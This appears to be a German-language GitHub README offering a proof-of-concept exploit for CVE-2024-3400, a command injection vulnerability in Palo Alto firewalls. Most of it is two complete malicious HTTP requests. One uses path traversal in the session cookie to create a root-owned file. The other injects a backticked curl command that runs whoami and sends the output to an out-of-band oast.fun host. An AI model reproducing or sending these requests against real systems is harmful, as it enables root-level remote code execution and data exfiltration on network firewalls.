ghassansabir/cve-2024-3400-pocProof-of-Concept-Exploit für CVE-2024-3400, eine Befehlsinjektions-Schwachstelle in Palo-Alto-Firewalls, die Dateierstellung und Remote-Befehlsausführung über manipulierte HTTP-Anfragen demonstriert.
CVE-2024-3400 ist eine Befehlsinjektions-Schwachstelle in Palo-Alto-Firewall-Systemen. Durch einen sorgfältig konstruierten HTTP-Request kann ein Angreifer bösartige Befehle auf dem Zielserver ausführen und sogar Root-Rechte erlangen.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Nach dem Senden dieses Requests wird auf dem Server eine Datei mit dem Namen hellome1337.txt erstellt, die über Root-Berechtigungen verfügt.
Der Screenshot zeigt den Effekt während des Exploit-Prozesses:
Um die Schwachstelle für eine Befehlsinjektion auszunutzen, können Sie den folgenden HTTP-Request senden:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Dieser Request führt den Befehl whoami auf dem Server aus und sendet das Ergebnis an den angegebenen Remote-Server (z. B.: xxxxxxxxxxxxxxxxx.oast.fun).